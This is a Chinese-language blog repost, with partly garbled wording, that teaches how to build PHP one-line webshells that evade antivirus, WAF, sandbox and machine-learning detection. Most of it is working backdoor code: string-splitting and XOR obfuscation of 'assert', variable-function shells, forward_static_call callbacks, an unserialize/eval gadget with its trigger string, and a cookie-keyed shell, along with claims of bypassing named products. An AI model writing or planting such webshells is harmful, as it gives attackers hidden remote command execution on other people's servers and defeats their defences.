首页 » PHP教程 » php后门免杀技巧_磋商新技能背景下的一句话免杀

php后门免杀技巧_磋商新技能背景下的一句话免杀

duote123 2024-11-13 0

扫一扫用手机浏览

文章目录 [+]

一句话木马是一样平常是指一段短小精悍的恶意代码,这段代码可以用作一个代理来实行攻击者发送过来的任意指令,有体积小、暗藏性强、功能强大等特点. 当然很多时候是由于方便,再加上这些年菜刀,蚁剑,冰蝎的发展,使得一句话木马被广泛运用于渗透过程中

php后门免杀技巧_磋商新技能背景下的一句话免杀

从一句话木马涌现到现在也有好多年的历史了,这些年友军也没闲着,呈现出了各种防护系统以及各种新技能,本文就来大略磋商一下在新技能背景下的一句话免杀.

php后门免杀技巧_磋商新技能背景下的一句话免杀
(图片来自网络侵删)

主流webshell检测系统的检测方向

1.基于特色(正则表达式、黑名单制)检测的防护

2.基于行为+特色(沙盒技能、深度学习、机器学习)检测的防护

基于PHP措辞版本对函数&免杀方法的影响

以下免杀方法仅对PHP版本7.1以下有效,部分免杀思路可以运用到7.1及其以上

在先容影响之前首先先解释PHP中eval函数和assert函数的不同之处

eval:实在eval不能算是一个函数,它是一个措辞布局器,措辞布局器就相称于C中的预定义宏的意思,它属于php措辞内部定义的关键词,不可以被修正,也不可以被禁用,同时措辞布局器实行速率也比正常的函数要快,但是措辞布局器不能被可变函数调用,可变函数便是通过一个变量获取个中的变量值,然后给该值加入(),使其变成一个函数去实行.普通的讲便是<?php $a=”eval”;

@$a(@$_REQUEST[‘x’]); ?>这样是行不通的,这也便是为什么大家都是环绕着assert去进行各种变换&绕过.

但是在7.1版本中assert已经弗成了,也便是说想要制作webshell必须要eval进行组成,在后面我会讲一些关于7.1之后的思路.但是可以预见到的是,如果完备过度到7.1以及往后版本之后,webshell的免杀的难度会大大增加.

下面针对这几种防护方向进行bypass

一.打破基于特色检测&静态检测的防护

绕过目标:

D盾

http://www.d99net.net/down/WebShellKill_V2.0.9.zip

安全狗

http://download.safedog.cn/download/software/safedogwzApache.exe

首先一句话木马的事理和功能用过的朋友都知道,核心便是要把字符串当作php代码进行实行,个中在php措辞中,紧张会利用eval和assert这两种函数,干系的变形和打破都是环绕着这两个函数以及字符串.

思路1.变换关键字

变换关键字这种办法一样平常安全设备的厂商都能识别,一样平常很难见效了,这里详细就举几个思路很不错的例子,毕竟打组合拳还是须要这些思路的.

个中一些思路还是和一样平常绕过差不多

编码&拆解合并

利用各种字符串处理函数以及可变函数将一些敏感关键字变形,做到通过大略正则无法识别的地步

举个例子:

<?php$arr=explode(",","a,s,d,f,s,d,e,k,r,t");$payload=$arr[0].$arr[1].$arr[4].$arr[6].$arr[8].$arr[9];//assert//php版本哀求:<=7.0@$payload(@$_GET['x']);//payload?>

同样规则的还有编码,利用编码隐蔽关键字,核心思路都是:隐蔽->还原->拼接实行

函数可以参考PHP的string函数

https://www.w3school.com.cn/php/php_ref_string.asp

或者通过定义数组能起到相同的效果

<?php$array = array( 'part_one' => false, 'part_two' => $_REQUEST['x'],);eval($array['part_one'].$array['part_two']);?>

随机异或加密

实在这个也是隐蔽关键字的一种办法,只不过方法利用的随机异或的方法来进行隐蔽关键字

举个例子:$a="Y"^"8"//a

利用异或来组成字符,也是一种很不错的思路,组合一下就成了下面的例子了:

<?php//也可以用十六进制进行进一步加密,例如//$r="x4d"^"x3f";$one="Y"^"8";//a$two="T"^"'";//s$three=""^"O";//e$four="M"^"?";//r$five="-"^"Y";//t$payload=$one.$two.$two.$three.$four.$five;@$payload(@$_REQUEST['x']);?>

可变变量&函数

这里紧张是利用PHP措辞特性进行稠浊

可变变量

<?php$a='assert';$b='a'; //$$b=assert?>

利用到木立时便是

<?php$a='assert';$b='a';$$b($_REQUEST['x']);?>

可变函数

可变函数前面先容过了,大略的说便是一个变量名如果后门有()的话,PHP将会探求与变量的值同名的函数,并且考试测验实行它.

我们可以利用这点来进行稠浊利用

举个例子

<?php@$_REQUEST['z'](@$_REQUEST['x']);?>思路2.利用不常见的回调函数

显然像eval和assert 无论你怎么稠浊或者伪装,waf以及查杀都会重点照顾他们,但是作为天下上最好的措辞(笑),怎么可能灵巧性这么差,我们可以利用一些冷门的回调函数进一步稠浊&包装他们.

但是利用这些冷门的回调函数首先会涌现一个问题,怎么去探求这些函数?

这里分享一下方法:利用特色值去探求冷门回调函数

首先我们看一下能够利用的函数都有那些特色值,举个例子

首先来个常见的可利用的回调函数,call_user_func,看下英文阐明找到个中的特色

callback,什莫是特色?便是能够被利用的关键便是特色,能够被利用的回调函数的特色

1.回调函数

2.被调用

3.参数

4.方法

依次类推,总结成特色,翻译成英文便是called,callable,callback,invoke,function

以这些作为特色进行搜索探求,能够大大减小搜索范围,增加找到的成功率

冷门回调函数绕过传统查杀

通过这种方法我们找到了forward_static_call()函数,利用它进行免杀

<?phpclass test1{ public static function test2() { forward_static_call("assert", @$_REQUEST['x']); }}test1::test2();?>

经测试,已过D盾,安全狗

思路3.正常代码隐蔽&主动触发命令实行

这里紧张利用PHP中可能存在命令实行漏洞的位置,然后去布局这个漏洞和触发它,达到命令实行->木马的目的.

这里紧张是利用正常代码去稠浊,这里举一个利用序列化漏洞触发命令实行的例子,同时这也是思路之一,利用正常代码去隐蔽行为.相同道理,把一些敏感函数写在类或者自定义的函数里面,同样可以起到相同的效果.写的越靠近业务逻辑代码,免杀的可能性就越高

布局漏洞

<?phpclass payload_test{ public $data="text"; function __destruct() { eval($this->data); }}$file_name=$_GET['x'];unserialize($file_name);?>

触发命令实行

?x=O:12:"payload_test":1:{s:4:"data";s:10:"phpinfo();";}

检测之后,可过狗,但是D盾会报反序列化

以上这些思路和方法可以绕过一样平常的WAF&查杀,但是随着科技发展,越来越多的厂商选择利用机器学习算法以及动态检测技能来检测webshell.

二.打破基于机器学习技能的webshell查杀&基于动态检测技能的webshll查杀

绕过目标:

基于动态检测技能的webshell检测

https://scanner.baidu.com/#/pages/intro

基于深度学习模型的webshell检测

http://webshell.cdxy.me/

经由查阅一些资料创造,基于机器学习的webshell检测创造紧张环绕着以下几种办法

1.网络webshell作为演习样本然后进行分类的黑名单演习

2.网络正常PHP业务逻辑代码和流量,进行白名单演习

3.如果直接用源代码剖析,可能会涌现很多的噪音,比如注释内容、花操作等等。
为了过滤掉这些噪音。
以是,我们利用PHP opcode 进行剖析。
这也是我查阅的资料中目前识别准确率较高的一种办法,比较推举利用兜哥的opcode&n-gram模型.

兜哥文章:https://mp.weixin.qq.com/s/1V0xcjH-6V5qJoJILP0pJQ

动态检测技能,紧张思路是将webshell放入沙盒,通过在沙盒中实行来剖析行为,或者是利用RASP技能进行检测,这种防御手段也是彻底封去世了基于稠浊&隐蔽的这种免杀手段了.

在不该用加密这种手段的条件下,有没有一种办法可以绕过基于这俩种技能的检测呢?

后来我在主动触发命令实行中找到了一些思路

为何主动触发命令实行这种办法能够稠浊?便是由于再没有传入关键key值之前,它便是一段正常的代码,没有任何危害性,同理,应对以上两种技能我们可以利用相同的办法,用正常代码来稠浊,在没有通报或者精确打开key值之前,它便是一段无害的代码,只有拥有了关键的key值,它才能变成木马.

也便是说,沙盒运行中webshell没有关键信息,以是它是人畜无害的,自然就免杀了,当我们连接的时候会带上关键key,自然就会变成后门木马.

下一个问题是关键信息怎么携带?思考了下,总结了几种办法

1.HTTP-head

2.HTTP-body

3.文件名

举个例子

<?phpclass test1{ public static function test2() { $part = @$_COOKIE['cake']; if ($part != 'assert') { exit(); } else { forward_static_call($part, @$_REQUEST['x']); } }}test1::test2();?>

这样就做到了利用正常代码进行稠浊的效果了,在不传入cake的时候,它便是无害的代码,一旦传入cake值为assert,就可以变成木马进行利用.

连接也是成功的

下面准备打破基于这两种技能的webshell查杀

机器学习打破

动态检测打破

利用这种办法,基于这两种技能的webshell检测基本就可以绕过了.

三.对付PHP7.1后webshell免杀的问题

关于这类问题,我相信看完前面的你,对付只能用eval的问题该当有一些思路了,如果没有这里可以给几点建议

1.既然不能稠浊assert,那就稠浊$_GET,$_POST,$_REQUEST,这种变量,会绕过一部分检测

2.利用正常代码稠浊是依旧有效果的,由于正常代码中一样会涌现eval

3.利用Apache、Nginx的特性实现免杀Webshell,感兴趣的可以参考下链接 https://www.uedbox.com/post/51694/

四.总结

对付冷门的回调函数以及各种花式稠浊布局出的木马,基于传统的特色&黑名单检测已经失落效了,要绕过这些很大略,因此已经失落去了对抗webshell的意义了

对付新型的动态检测来说,还是不足成熟和稳定,但是很期待,它将会颠覆传统意义上的WAF.

下一篇可以讲下这种动态检测的背后—OpenRASP的技能事理和运用层次

对付机器学习模型检测来说,虽然效果大于基于规则的传统WAF,但是由于PHP本身的灵巧性以及动态性,可以看到再不搞多维的情形下,难以有较好的效果(可能有大厂在样本弘大的情形下已经有了较好的模型,但是emmmm我也拿不到)

末了还是比较看好动态检测技能,也便是RASP防御,希望RASP 在未来一段韶光内可以逐渐取代流量层 WAF 成为主流防御办法.

对付免杀来说,最主要的还是思路,以及对方利用的防御系统的理解,”心腹知彼,百战不殆”,个人以为想要免杀不是一件很难的事情,一个是多fuzzing,知道对方的防御规则以及事理,然后根据这些找出弱点进行绕过,另一个便是思路要灵巧,要会打组合拳,一个思路弗成,就多个思路组合在一起,多试试总是可以的.

原文链接:https://www.anquanke.com/post/id/197624

标签:

相关文章

闲聊IT科技,介绍数字时代的智慧生活

随着科技的飞速发展,我们的生活已经离不开IT科技。从早晨起床,到晚上入睡,IT科技都贯穿在我们的日常生活中。今天,就让我们一起来闲...

PHP教程 2024-12-26 阅读0 评论0

GCCC语言,构建高效编程世界的基石

C语言作为一种历史悠久的编程语言,以其简洁、高效和可移植性等特点,在计算机科学领域占据着举足轻重的地位。GCC(GNU Compi...

PHP教程 2024-12-26 阅读0 评论0

青岛与济南,双城IT产业的协同发展之路

随着我国经济的持续增长,信息技术产业在国民经济中的地位日益凸显。青岛和济南作为山东省内两大重要城市,近年来在IT产业方面取得了显著...

PHP教程 2024-12-26 阅读0 评论0

E语言读网页,技术革新下的信息获取新途径

随着互联网的普及,人们获取信息的方式发生了翻天覆地的变化。从传统的报纸、杂志到如今的网络新闻、社交媒体,信息传播的速度和广度都得到...

PHP教程 2024-12-26 阅读0 评论0

风趣原野,探索自然之美,品味生活之趣

“原野,是自然的舞台,是生命的摇篮。在这片广袤的土地上,风趣原野,以其独特的魅力,吸引着无数人前来探索、品味。”这是著名作家鲁迅先...

PHP教程 2024-12-26 阅读0 评论0